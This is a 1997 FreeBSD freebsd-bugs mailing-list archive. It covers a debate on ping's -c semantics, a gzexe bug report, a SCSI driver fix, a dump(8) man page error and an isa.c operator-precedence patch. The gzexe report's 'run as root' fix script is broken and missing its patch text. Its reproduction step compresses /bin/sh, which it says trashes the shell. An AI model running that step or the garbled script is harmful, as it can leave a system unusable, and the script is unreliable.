From owner-freebsd-bugs Sun Aug 3 01:00:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA12096 for bugs-outgoing; Sun, 3 Aug 1997 01:00:06 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA12082; Sun, 3 Aug 1997 01:00:02 -0700 (PDT) Date: Sun, 3 Aug 1997 01:00:02 -0700 (PDT) Message-Id: <199708030800.BAA12082@hub.freebsd.org> To: freebsd-bugs Cc: From: j@uriah.heep.sax.de (J Wunsch) Subject: Re: bin/4218: change in ping behavior: -c now counts _received_ packets Reply-To: j@uriah.heep.sax.de (J Wunsch) Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/4218; it has been noted by GNATS. From: j@uriah.heep.sax.de (J Wunsch) To: bkogawa@primenet.com Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: bin/4218: change in ping behavior: -c now counts _received_ packets Date: Sun, 3 Aug 1997 09:49:48 +0200 As bkogawa@primenet.com wrote: > /sbin/ping -c now pings until pings are _received_, > not until pings are sent. I agree that this behaviour is not what one would usually expect from -c, but it seems to be this way in all ping -c versions i've seen so far. What makes you think this has been changed recently? You can easily verify in CVS that it has been this way all the time for FreeBSD, at least. So, while you're constantly speaking about `reverting' something, there isn't really something to revert. Implementing it as a count of _sent_ packets would be a plain paradigm change, so it should probably be done with a different option. SysV versions of ping indeed limit the number of sent packets, but they don't do it with -c. They use a positional argument instead (and often have a different default semantics anyway). HP/UX uses -n count, but (according to the man page) as a semi-positional argument. -n is already in use in BSD ping (with the consistent meaning for all network utilities: prevent DNS lookups). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Sun Aug 3 01:36:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA13613 for bugs-outgoing; Sun, 3 Aug 1997 01:36:15 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA13539; Sun, 3 Aug 1997 01:35:14 -0700 (PDT) From: Peter Wemm Received: (from peter@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id BAA23354; Sun, 3 Aug 1997 01:33:43 -0700 (PDT) Date: Sun, 3 Aug 1997 01:33:43 -0700 (PDT) Message-Id: <199708030833.BAA23354@freefall.freebsd.org> To: tetsuya@secom-sis.co.jp, peter@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/4206 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: Output of ``ps -o lstart'' State-Changed-From-To: open-closed State-Changed-By: peter State-Changed-When: Sun Aug 3 01:31:15 PDT 1997 State-Changed-Why: Fixed in src/bin/ps/print.c rev 1.23 and 1.16.2.2 From owner-freebsd-bugs Sun Aug 3 02:09:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA15347 for bugs-outgoing; Sun, 3 Aug 1997 02:09:53 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA15340 for ; Sun, 3 Aug 1997 02:09:51 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id CAA22377; Sun, 3 Aug 1997 02:12:04 -0700 (PDT) Message-Id: <199708030912.CAA22377@implode.root.com> To: j@uriah.heep.sax.de (J Wunsch) cc: freebsd-bugs@hub.freebsd.org Subject: Re: bin/4218: change in ping behavior: -c now counts _received_ packets In-reply-to: Your message of "Sun, 03 Aug 1997 01:00:02 PDT." <199708030800.BAA12082@hub.freebsd.org> From: David Greenman Reply-To: dg@root.com Date: Sun, 03 Aug 1997 02:12:04 -0700 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I agree that this behaviour is not what one would usually expect from > -c, but it seems to be this way in all ping -c versions i've seen so > far. > > What makes you think this has been changed recently? You can easily > verify in CVS that it has been this way all the time for FreeBSD, at > least. So, while you're constantly speaking about `reverting' > something, there isn't really something to revert. Implementing it as > a count of _sent_ packets would be a plain paradigm change, so it > should probably be done with a different option. Hmmm. FreeBSD 2.1.x and 2.2.x both do something a bit more complicated than just wait for the packets to be received. ping will transmit up to packets and wait for these to be received; it will wait for the first received packet for up to 10 seconds, and a variable amount of time (twice the maximum round trip time) if one or more have already been received. So: ping -c 1 198.1.1.1 # a host that doesn't exist ...will wait for 10 seconds and then exit. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-bugs Sun Aug 3 02:50:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA17193 for bugs-outgoing; Sun, 3 Aug 1997 02:50:51 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA17188 for ; Sun, 3 Aug 1997 02:50:48 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id TAA11171; Sun, 3 Aug 1997 19:49:07 +1000 Date: Sun, 3 Aug 1997 19:49:07 +1000 From: Bruce Evans Message-Id: <199708030949.TAA11171@godzilla.zeta.org.au> To: freebsd-bugs@hub.freebsd.org, j@uriah.heep.sax.de Subject: Re: bin/4218: change in ping behavior: -c now counts _received_ packets Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > /sbin/ping -c now pings until pings are _received_, > > not until pings are sent. > > I agree that this behaviour is not what one would usually expect from > -c, but it seems to be this way in all ping -c versions i've seen so > far. > > What makes you think this has been changed recently? You can easily Reviewing of recent changes, the cvs logs, and previous discussions of this problem :-). Except that the problem is actually that "sent" is now interpreted more strictly (packets for which sendto() fails are not counted as "sent"). Ping still doesn't necessarily wait until pings are _received_. > verify in CVS that it has been this way all the time for FreeBSD, at Nope. It has only been this way all the time in the FreeBSD man page :-). The original 4.4Lite code is: ... [in the main loop] if (npackets && nreceived >= npackets) break; ... [in the SIGALRM handler] if (!npackets || ntransmitted < npackets) alarm((u_int)interval); else { if (nreceived) { waittime = 2 * tmax / 1000; if (!waittime) waittime = 1; } else waittime = MAXWAIT; (void)signal(SIGALRM, finish); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (void)alarm((u_int)waittime); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ } Here npackets is the count for -c. The test against `nreceived' in the main loop is probably unnecessary, since nreceived should be <= ntransmitted and the underlined SIGALRM handling will abort ping after `ntransmitted' packets have been sent. Bruce From owner-freebsd-bugs Sun Aug 3 03:50:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA19145 for bugs-outgoing; Sun, 3 Aug 1997 03:50:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA19139; Sun, 3 Aug 1997 03:50:01 -0700 (PDT) Date: Sun, 3 Aug 1997 03:50:01 -0700 (PDT) Message-Id: <199708031050.DAA19139@hub.freebsd.org> To: freebsd-bugs Cc: From: "Bryan K. Ogawa" Subject: Re: bin/4218: change in ping behavior: -c now counts _received_ packets Reply-To: "Bryan K. Ogawa" Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/4218; it has been noted by GNATS. From: "Bryan K. Ogawa" To: Joerg Wunsch Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: bin/4218: change in ping behavior: -c now counts _received_ packets Date: Sun, 3 Aug 1997 03:44:58 -0700 (PDT) On Sun, 3 Aug 1997, J Wunsch wrote: > As bkogawa@primenet.com wrote: > > > /sbin/ping -c now pings until pings are _received_, > > not until pings are sent. > > I agree that this behaviour is not what one would usually expect from > -c, but it seems to be this way in all ping -c versions i've seen so > far. > > What makes you think this has been changed recently? You can easily > verify in CVS that it has been this way all the time for FreeBSD, at > least. So, while you're constantly speaking about `reverting' > something, there isn't really something to revert. Implementing it as > a count of _sent_ packets would be a plain paradigm change, so it > should probably be done with a different option. It looks like I was unknowingly depending on a longstanding bug fixed in 2.2-STABLE. I just checked the version off of the 2.2.2 CD #2: it appears to count pings which error out with "No route to host" as being "received". If I do "ping -q -c 3 206.165.5.104" with PPP off, it does 3 pings, gets 3 "sendto: No route to host"s and then folds up and quits. 2.2-STABLE doesn't do this, matching the manpage (and apparently, the historically correct) behavior. If you'd like to downgrade to feature-request/close this one, please do, unless by some off chance it's _right_ to consider no route to host a reply being received. Thanks for taking the time to clear this up for me. bryan k ogawa http://www.primenet.com/~bkogawa/ From owner-freebsd-bugs Sun Aug 3 04:54:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA21018 for bugs-outgoing; Sun, 3 Aug 1997 04:54:56 -0700 (PDT) Received: (from davidg@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA20999; Sun, 3 Aug 1997 04:54:51 -0700 (PDT) Date: Sun, 3 Aug 1997 04:54:51 -0700 (PDT) From: David Greenman Message-Id: <199708031154.EAA20999@hub.freebsd.org> To: bkogawa@primenet.com, davidg, freebsd-bugs Subject: Re: bin/4218 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: change in ping behavior: -c now counts _received_ packets State-Changed-From-To: open-closed State-Changed-By: davidg State-Changed-When: Sun Aug 3 04:53:56 PDT 1997 State-Changed-Why: Ping is working as it was intended. It does indeed wait for the received packets, but times out after a short period. From owner-freebsd-bugs Sun Aug 3 06:26:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA23678 for bugs-outgoing; Sun, 3 Aug 1997 06:26:51 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA23668; Sun, 3 Aug 1997 06:26:37 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id XAA17932; Sun, 3 Aug 1997 23:23:06 +1000 Date: Sun, 3 Aug 1997 23:23:06 +1000 From: Bruce Evans Message-Id: <199708031323.XAA17932@godzilla.zeta.org.au> To: bkogawa@primenet.com, davidg@freebsd.org, davidg@hub.freebsd.org, freebsd-bugs@hub.freebsd.org Subject: Re: bin/4218 Sender: owner-freebsd-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Ping is working as it was intended. It does indeed wait for >the received packets, but times out after a short period. No it doesn't. It only starts waiting when (npackets != 0 && ntransmitted >= npackets) (where `npackets' is the count for -c), and due to recent breakage, `ntransmitted' is not incremented when sendto() fails, e.g., in the "No route to host" case, so some cases never time out. This also affects the statistics. I think the non-increment was only supposed to apply to the ENOBUFS case, mainly for `ping -f' when running out of buffers is not unexpected. Bruce From owner-freebsd-bugs Sun Aug 3 10:21:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA03561 for bugs-outgoing; Sun, 3 Aug 1997 10:21:47 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA03546 for ; Sun, 3 Aug 1997 10:21:42 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id TAA00954 for freebsd-bugs@hub.freebsd.org; Sun, 3 Aug 1997 19:21:41 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id TAA04574; Sun, 3 Aug 1997 19:11:05 +0200 (MET DST) Message-ID: <19970803191105.YT23746@uriah.heep.sax.de> Date: Sun, 3 Aug 1997 19:11:05 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-bugs@hub.freebsd.org Subject: Re: bin/4218: change in ping behavior: -c now counts _received_ packets References: <199708030800.BAA12082@hub.freebsd.org> <199708030912.CAA22377@implode.root.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199708030912.CAA22377@implode.root.com>; from David Greenman on Aug 3, 1997 02:12:04 -0700 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As David Greenman wrote: > Hmmm. FreeBSD 2.1.x and 2.2.x both do something a bit more complicated > than just wait for the packets to be received. ping will transmit up > to packets and wait for these to be received; it will wait for the > first received packet for up to 10 seconds, and a variable amount of time > (twice the maximum round trip time) if one or more have already been > received. Ah. I've only looked at the logic behind `nreceived', but missed the alarm handler. So the question arises: why has the alarm behaviour been changed at all? (And why is/was it not documented?) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Sun Aug 3 13:50:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA16368 for bugs-outgoing; Sun, 3 Aug 1997 13:50:05 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA16362; Sun, 3 Aug 1997 13:50:02 -0700 (PDT) Resent-Date: Sun, 3 Aug 1997 13:50:02 -0700 (PDT) Resent-Message-Id: <199708032050.NAA16362@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, finrod@pugwash.priv.no Received: from pugwash.priv.no (messepc2.eunet.no [195.1.8.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA16117 for ; Sun, 3 Aug 1997 13:45:46 -0700 (PDT) Received: (from finrod@localhost) by pugwash.priv.no (8.8.5/8.8.5) id WAA03339; Sun, 3 Aug 1997 22:45:06 +0200 (CEST) Message-Id: <199708032045.WAA03339@pugwash.priv.no> Date: Sun, 3 Aug 1997 22:45:06 +0200 (CEST) From: Dag-Erling Coidan Smørgrav Reply-To: finrod@pugwash.priv.no To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: gnu/4220: gzexe does not detect all dependencies Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4220 >Category: gnu >Synopsis: gzexe does not detect all dependencies >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Aug 3 13:50:01 PDT 1997 >Last-Modified: >Originator: Dag-Erling Coidan Smørgrav >Organization: University of Oslo, Department of Informatics >Release: FreeBSD 2.2.1-RELEASE i386 >Environment: gzip 1.2.4 (18 Aug 93) Compilation options: DIRENT UTIME STDC_HEADERS HAVE_UNISTD_H ASMV >Description: The gzexe shell script, which is used to create self-extracting compressed executables, does not detect its own dependency on /bin/sh, and will attempt to compress it if asked. It does however detect dependency on chmod, rm, sleep etc. and refuses to compress them. If you attempt to compress /bin/* to conserve space on a system with a small disk (in my case, a printer server with a 120 MB disk), gzexe will trash sh, which makes it impossible to uncom- press and use any other compressed binary (e.g. cp, in order to 'cp sh~ sh') It is also possible that the same problem exists for echo and sed (which are used by the decompression script, but not checked for by gzexe) >How-To-Repeat: # gzexe /bin/sh Segmentation fault - core dumped >Fix: Run this shell script as root: #!/bin/sh patch -n `which gzexe` - < sh | gzip | tail | chmod | ln | sleep | rm) EOF This will cause gzexe to check if you are trying to compress sh. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sun Aug 3 14:00:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA17138 for bugs-outgoing; Sun, 3 Aug 1997 14:00:05 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA17111; Sun, 3 Aug 1997 14:00:02 -0700 (PDT) Date: Sun, 3 Aug 1997 14:00:02 -0700 (PDT) Message-Id: <199708032100.OAA17111@hub.freebsd.org> To: freebsd-bugs Cc: From: Stefan Esser Subject: Re: kern/4217: Tek390 driver fails with other vendor's (am53c974) SCSI Host Adapter Reply-To: Stefan Esser Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR kern/4217; it has been noted by GNATS. From: Stefan Esser To: ehm@cris.com Cc: freebsd-gnats-submit@freebsd.org Subject: Re: kern/4217: Tek390 driver fails with other vendor's (am53c974) SCSI Host Adapter Date: Sun, 3 Aug 1997 22:53:32 +0200 On Aug 2, ehm@cris.com wrote: > The problem is that the routine which defaults the eeprom settings, > "DC390_DefaultEEprom()", has a pointer bug which causes memory > corruption and fails to intialize the driver with the correct settings. > This failure causes the SCSI adapter to become unresponsive to > commands, ie. it becomes "wedged". Thanks for debugging this and sending a patch. The driver had been released by Tekram without the EEPROM "simulation", which I added to make the driver support generic AMD 53c974 chips. I relied on other people testing the driver, since I had no such controller, myself, and received several positive replies. I'll check out your suggested patch in the context of FreeBSD 2.2 and -current, and will then commit it. Regards, STefan From owner-freebsd-bugs Sun Aug 3 14:01:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA17243 for bugs-outgoing; Sun, 3 Aug 1997 14:01:27 -0700 (PDT) Received: from pugwash.priv.no (messepc2.eunet.no [195.1.8.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA17186; Sun, 3 Aug 1997 14:00:52 -0700 (PDT) Received: from localhost (finrod@localhost) by pugwash.priv.no (8.8.5/8.8.5) with SMTP id XAA03441; Sun, 3 Aug 1997 23:00:07 +0200 (CEST) Date: Sun, 3 Aug 1997 23:00:07 +0200 (CEST) From: =?ISO-8859-1?Q?Dag-Erling_Coidan_Sm=F8rgrav?= To: FreeBSD-gnats@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: gnu/4220: gzexe does not detect all dependencies In-Reply-To: <199708032050.NAA16358@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I forgot to change the originator field in my problem report to point to my permanent mail address (this one will start bouncing at the end of the week). For my permanent address, see my sig. --- * Finrod (INTJ) * Unix weenie * dag-erli@ifi.uio.no * cellular +47-92835919 * RFC1123: "Be liberal in what you accept, and conservative in what you send" From owner-freebsd-bugs Sun Aug 3 16:34:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA26075 for bugs-outgoing; Sun, 3 Aug 1997 16:34:12 -0700 (PDT) Received: from mail.webspan.net (root@mail.webspan.net [206.154.70.7]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA26070 for ; Sun, 3 Aug 1997 16:34:10 -0700 (PDT) Received: from orion.webspan.net (orion.webspan.net [206.154.70.5]) by mail.webspan.net (WEBSPAN/970608) with ESMTP id TAA11725; Sun, 3 Aug 1997 19:34:09 -0400 (EDT) Received: from orion.webspan.net (localhost [127.0.0.1]) by orion.webspan.net (WEBSPAN/970608) with ESMTP id TAA11071; Sun, 3 Aug 1997 19:34:08 -0400 (EDT) To: j@uriah.heep.sax.de (J Wunsch) cc: freebsd-bugs@hub.freebsd.org From: "Gary Palmer" Subject: Re: bin/4218: change in ping behavior: -c now counts _received_ packets In-reply-to: Your message of "Sun, 03 Aug 1997 01:00:02 PDT." <199708030800.BAA12082@hub.freebsd.org> Date: Sun, 03 Aug 1997 19:34:08 -0400 Message-ID: <11069.870651248@orion.webspan.net> Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk J Wunsch wrote in message ID <199708030800.BAA12082@hub.freebsd.org>: > As bkogawa@primenet.com wrote: > > > /sbin/ping -c now pings until pings are _received_, > > not until pings are sent. > I agree that this behaviour is not what one would usually expect from > -c, but it seems to be this way in all ping -c versions i've seen so > far. > What makes you think this has been changed recently? You can easily > verify in CVS that it has been this way all the time for FreeBSD, at > least. So, while you're constantly speaking about `reverting' > something, there isn't really something to revert. Implementing it as > a count of _sent_ packets would be a plain paradigm change, so it > should probably be done with a different option. If ping does now use the received packet count, then something did infact change. mrtg's RTT measuring script uses -c to limit the packets sent, preventing the script going into a slow death for a host that is dead/unreachable. -c on FreeBSD has meant transmitted packets for a year at least. gpalmer@orion:~> ping -c 2 206.154.70.2 PING 206.154.70.2 (206.154.70.2): 56 data bytes --- 206.154.70.2 ping statistics --- 2 packets transmitted, 0 packets received, 100% packet loss (FreeBSD 2.1.x) Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-bugs Sun Aug 3 20:20:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA08380 for bugs-outgoing; Sun, 3 Aug 1997 20:20:05 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA08334; Sun, 3 Aug 1997 20:20:02 -0700 (PDT) Resent-Date: Sun, 3 Aug 1997 20:20:02 -0700 (PDT) Resent-Message-Id: <199708040320.UAA08334@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, curt@h4.kcwc.com Received: from h4.kcwc.com (h4.kcwc.com [206.139.252.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA08006 for ; Sun, 3 Aug 1997 20:10:24 -0700 (PDT) Received: (from root@localhost) by h4.kcwc.com (8.8.5/8.7.3) id XAA21661; Sun, 3 Aug 1997 23:10:23 -0400 (EDT) Message-Id: <199708040310.XAA21661@h4.kcwc.com> Date: Sun, 3 Aug 1997 23:10:23 -0400 (EDT) From: Curt Welch Reply-To: curt@h4.kcwc.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: docs/4223: dump(8) man page error Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4223 >Category: docs >Synopsis: dump(8) man page error >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: doc-bug >Submitter-Id: current-users >Arrival-Date: Sun Aug 3 20:20:01 PDT 1997 >Last-Modified: >Originator: Curt Welch >Organization: KCW Consulting >Release: FreeBSD 2.2.2-RELEASE i386 >Environment: >Description: Units for B option is 1K blocks, not dump records, as the man page says. >How-To-Repeat: Run dump on a large fs with various dump record sizes (b option) and see for yourself that the number of "tape blocks" stays the same (it's in 1K blocks also), the "on N tape(s)", is based on a B value in 1K blocks. I didn't check to source to see if it's more complex than this, but someone should before fixing the man page. >Fix: Change the man page (or if historically dump was as the man page says, then fix dump). B blocks The number of 1K "tape blocks" per volume. This option overrides the calculation of tape size based on length and density. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Mon Aug 4 02:50:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA24498 for bugs-outgoing; Mon, 4 Aug 1997 02:50:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA24492; Mon, 4 Aug 1997 02:50:02 -0700 (PDT) Resent-Date: Mon, 4 Aug 1997 02:50:02 -0700 (PDT) Resent-Message-Id: <199708040950.CAA24492@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, fpm@n2.net Received: from jsbach.n2.net (jsbach.n2.net [207.113.132.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA24291 for ; Mon, 4 Aug 1997 02:43:03 -0700 (PDT) Received: (from fpm@localhost) by jsbach.n2.net (8.8.5/8.6.12) id CAA17905; Mon, 4 Aug 1997 02:42:05 -0700 (PDT) Message-Id: <199708040942.CAA17905@jsbach.n2.net> Date: Mon, 4 Aug 1997 02:42:05 -0700 (PDT) From: fpm@n2.net Reply-To: fpm@n2.net To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: i386/4225: Missing parentheses in /usr/src/sys/i386/isa/isa.c Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4225 >Category: i386 >Synopsis: Missing parentheses in /usr/src/sys/i386/isa/isa.c >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Aug 4 02:50:01 PDT 1997 >Last-Modified: >Originator: Frank MacLachlan >Organization: N2 Networking >Release: FreeBSD 3.0-CURRENT i386 >Environment: 3.0-CURRENT CVsup'ed 3 Aug 97 at 23:30 PDT. Relevent file is /usr/src/sys/i386/isa/isa.c. File's id is: $Id: isa.c,v 1.99 1997/07/29 05:24:36 msmith Exp $ >Description: A number of if statements in this file assume that the precedence of the '&' operator is higher than the '==' operator and are incorrectly evaluated. The resulting tests are totally useless. >How-To-Repeat: Problem was found while inspecting the code. >Fix: Apply the following patch: *** isa.c.ORIG Sun Aug 3 23:37:00 1997 --- isa.c Mon Aug 4 00:58:06 1997 *************** *** 648,654 **** if (chan & ~VALID_DMA_MASK) panic("isa_dma_release: channel out of range"); ! if (dma_inuse & (1 << chan) == 0) printf("isa_dma_release: channel %d not in use\n", chan); #endif --- 648,654 ---- if (chan & ~VALID_DMA_MASK) panic("isa_dma_release: channel out of range"); ! if ((dma_inuse & (1 << chan)) == 0) printf("isa_dma_release: channel %d not in use\n", chan); #endif *************** *** 705,711 **** || (chan >= 4 && (nbytes > (1<<17) || (u_int)addr & 1))) panic("isa_dmastart: impossible request"); ! if (dma_inuse & (1 << chan) == 0) printf("isa_dmastart: channel %d not acquired\n", chan); #endif --- 705,711 ---- || (chan >= 4 && (nbytes > (1<<17) || (u_int)addr & 1))) panic("isa_dmastart: impossible request"); ! if ((dma_inuse & (1 << chan)) == 0) printf("isa_dmastart: channel %d not acquired\n", chan); #endif *************** *** 813,819 **** if (chan & ~VALID_DMA_MASK) panic("isa_dmadone: channel out of range"); ! if (dma_inuse & (1 << chan) == 0) printf("isa_dmadone: channel %d not acquired\n", chan); #endif --- 813,819 ---- if (chan & ~VALID_DMA_MASK) panic("isa_dmadone: channel out of range"); ! if ((dma_inuse & (1 << chan)) == 0) printf("isa_dmadone: channel %d not acquired\n", chan); #endif *************** *** 823,829 **** * isa_dmastart() once because they use Auto DMA mode. If we * leave this in, drivers that do this will print this continuously. */ ! if (dma_busy & (1 << chan) == 0) printf("isa_dmadone: channel %d not busy\n", chan); #endif --- 823,829 ---- * isa_dmastart() once because they use Auto DMA mode. If we * leave this in, drivers that do this will print this continuously. */ ! if ((dma_busy & (1 << chan)) == 0) printf("isa_dmadone: channel %d not busy\n", chan); #endif *************** *** 910,922 **** u_long ef; /* channel active? */ ! if (dma_inuse & (1 << chan) == 0) { printf("isa_dmastatus: channel %d not active\n", chan); return(-1); } /* still busy? */ ! if (dma_busy & (1 << chan) == 0) { return(0); } --- 910,922 ---- u_long ef; /* channel active? */ ! if ((dma_inuse & (1 << chan)) == 0) { printf("isa_dmastatus: channel %d not active\n", chan); return(-1); } /* still busy? */ ! if ((dma_busy & (1 << chan)) == 0) { return(0); } >Audit-Trail: >Unformatted: From owner-freebsd-bugs Mon Aug 4 08:20:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA05480 for bugs-outgoing; Mon, 4 Aug 1997 08:20:05 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA05458; Mon, 4 Aug 1997 08:20:02 -0700 (PDT) Resent-Date: Mon, 4 Aug 1997 08:20:02 -0700 (PDT) Resent-Message-Id: <199708041520.IAA05458@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, geoffb@demon.net Received: from noc.demon.net (firewall-user@server.noc.demon.net [193.195.224.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA05008 for ; Mon, 4 Aug 1997 08:11:13 -0700 (PDT) Received: by noc.demon.net; id QAA13355; Mon, 4 Aug 1997 16:11:09 +0100 (BST) Received: from geoffb.noc.demon.net(195.11.55.49) by inside.noc.demon.net via smap (3.2) id xma013353; Mon, 4 Aug 97 16:10:59 +0100 Received: (from geoffb@localhost) by geoffb.noc.demon.net (8.8.5/8.8.5) id QAA16659; Mon, 4 Aug 1997 16:10:21 +0100 (BST) Message-Id: <199708041510.QAA16659@geoffb.noc.demon.net> Date: Mon, 4 Aug 1997 16:10:21 +0100 (BST) From: geoffb@demon.net Reply-To: geoffb@demon.net To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: i386/4226: Floating point exception for double precision divion by zero Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4226 >Category: i386 >Synopsis: Floating point exception for double precision divion by zero >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Class: change-request >Submitter-Id: current-users >Arrival-Date: Mon Aug 4 08:20:01 PDT 1997 